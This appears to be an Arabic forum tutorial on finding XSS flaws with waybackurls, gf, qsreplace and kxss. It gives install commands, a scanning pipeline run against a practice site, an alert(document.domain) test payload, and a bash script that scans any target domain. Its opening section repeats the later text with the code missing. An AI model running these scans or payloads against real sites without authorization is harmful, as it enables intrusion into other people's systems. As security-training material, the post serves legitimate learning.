- بواسطة x32x01 ||
ثغرات XSS - Cross Site Scripting تعتبر من أكثر الثغرات شيوعًا وخطورة في عالم الويب، لأنها ببساطة بتسمح للهكر إنه يحقن أكواد JavaScript داخل صفحات الموقع وينفّذها عند المستخدمين… وده يفتح الباب لسرقة Sessions، تنفيذ أكواد خبيثة، أو حتى السيطرة على حسابات المستخدمين 

في البوست ده هنتعلم إزاي تكتشف ثغرات XSS بطريقة احترافية باستخدام أقوى الأدوات:


كل أداة ليها وظيفة مهمة جدًا في عملية الفحص، ومع بعض بيعملوا Pipeline قوي يفحص آلاف الروابط في ثواني.
الأداة دي بتجمع كل الـ URLs الخاصة بالموقع + روابط قديمة موجودة في خدمات الأرشفة زي Wayback Machine… وكمان بتجمع روابط السب دومينز.
ده مفيد جدًا عشان تلاقي صفحات مكنتش ظاهرة مباشرة في موقع الهدف.
بتفلتر الروابط المتكررة وبتديك ملف نظيف بدون أي تكرار.
بتفلتر الروابط اللي فيها Parameters قابلة للحقن، زي:
الأداة بتعرف إن الرابط ده قابل لاختبار XSS عشان فيه باراميتر بياخد Value.
بتسمح إنك تشوف النتائج على الشاشة وفي نفس الوقت تحفظ نسخة منها في ملف.
بتستبدل كل قيمة باراميتر بكلمة FUZZ، مثال:
تصبح
وده بيجهّز الروابط ليتم اختبارها.
أقوى خطوة…
الأداة دي بتجرب Payloads جاهزة زي:
ولو الموقع مش بيعمل فلترة مظبوطة… الأداة بتكشف إن الرابط مُصاب بثغرة XSS أو HTML Injection.
ده اللي بيربط الأدوات في سلسلة واحدة… يعني الناتج من أداة يروح مباشرة لأداة بعديها بدون ما تحفظ ملفات مؤقتة.
هنثبت الأدوات باستخدام Golang، وهنا الأوامر كاملة بالترتيب:
انسخ الأدوات للمسار
هندخل مباشرة في اللي يهمنا… فحص موقع كامل بخطوات بسيطة:
هتلاقي روابط زي:
ده معناه إن الموقع مش بيعمل أي فلترة للمدخلات.
تقدر تختبر تنفيذ سكربت في الموقع المصاب باستخدام:
مثال عملي:
بنعمل ملف باسم: script.sh
وبكده تقدر تعمل فحص شامل لأي موقع وتكتشف ثغرات XSS في ثواني بس 

في البوست ده هنتعلم إزاي تكتشف ثغرات XSS بطريقة احترافية باستخدام أقوى الأدوات:
- waybackurls
- gf
- qsreplace
- kxss
الأدوات اللي هنستخدمها في اكتشاف ثغرات XSS
كل أداة ليها وظيفة مهمة جدًا في عملية الفحص، ومع بعض بيعملوا Pipeline قوي يفحص آلاف الروابط في ثواني.
1. أداة waybackurls
الأداة دي بتجمع كل الـ URLs الخاصة بالموقع + روابط قديمة موجودة في خدمات الأرشفة زي Wayback Machine… وكمان بتجمع روابط السب دومينز.ده مفيد جدًا عشان تلاقي صفحات مكنتش ظاهرة مباشرة في موقع الهدف.
2. أداة sort -u
بتفلتر الروابط المتكررة وبتديك ملف نظيف بدون أي تكرار.
3. أداة gf xss
بتفلتر الروابط اللي فيها Parameters قابلة للحقن، زي: Code:
https://target.com?name=test
4. أداة tee
بتسمح إنك تشوف النتائج على الشاشة وفي نفس الوقت تحفظ نسخة منها في ملف.
5. أداة qsreplace
بتستبدل كل قيمة باراميتر بكلمة FUZZ، مثال: Code:
?name=test Code:
?name=FUZZ
6. أداة kxss
أقوى خطوة…الأداة دي بتجرب Payloads جاهزة زي:
Code:
"><'
7. الـ Pipe ( | )
ده اللي بيربط الأدوات في سلسلة واحدة… يعني الناتج من أداة يروح مباشرة لأداة بعديها بدون ما تحفظ ملفات مؤقتة.
خطوات تثبيت الأدوات على Linux
هنثبت الأدوات باستخدام Golang، وهنا الأوامر كاملة بالترتيب: Code:
sudo apt install golang-go
go get github.com/tomnomnom/waybackurls
go get -u github.com/tomnomnom/gf
cd ~/
git clone https://github.com/1ndianl33t/Gf-Patterns
mkdir .gf
mv ~/Gf-Patterns/*.json ~/.gf
rm -rf ~/Gf-Patterns/
go get -u github.com/tomnomnom/qsreplace
go get github.com/Emoe/kxss
عشان تشغل الأدوات من أي مكان في النظام
انسخ الأدوات للمسار /usr/bin Code:
cd ~/go/bin/
sudo cp waybackurls gf qsreplace kxss /usr/bin
مثال عملي على فحص موقع مصاب بتطبيق XSS (موقع التدريب sudo.co.il/xss)
هندخل مباشرة في اللي يهمنا… فحص موقع كامل بخطوات بسيطة:
1. نسحب كل الروابط من الموقع:
Code:
waybackurls sudo.co.il/xss | sort -u >> waybackdata.txt
2. فلترة الروابط اللي فيها باراميتر قابل للحقن:
Code:
cat waybackdata.txt | gf xss | tee -a xss1.txt | qsreplace FUZZ >> xss2.txt
3. اختبار الروابط باستخدام kxss:
Code:
cat xss2.txt | kxss | tee kxss.txt هتلاقي روابط زي:
Code:
http://sudo.co.il:80/xss/level5-1.php?p=FUZZ"><
أفضل Payload جاهز لاختبار ثغرة XSS
تقدر تختبر تنفيذ سكربت في الموقع المصاب باستخدام: Code:
';alert(document.domain);' مثال عملي:
Code:
http://sudo.co.il:80/xss/level5-1.php?p=FUZZ';alert(document.domain);'
إنشاء Script Bash لتشغيل كل الأوامر مرة واحدة
بنعمل ملف باسم: script.sh Bash:
#!/bin/bash
waybackurls $1 | sort -u >> waybackdata.txt
cat waybackdata.txt | gf xss | tee -a xss1.txt | qsreplace FUZZ >> xss2.txt
cat xss2.txt | kxss | tee kxss.txt
إعطاء صلاحيات التشغيل:
Code:
sudo chmod +x script.sh
تشغيل السكربت:
Code:
./script.sh target.com
./script.sh sudo.co.il:80/xss التعديل الأخير: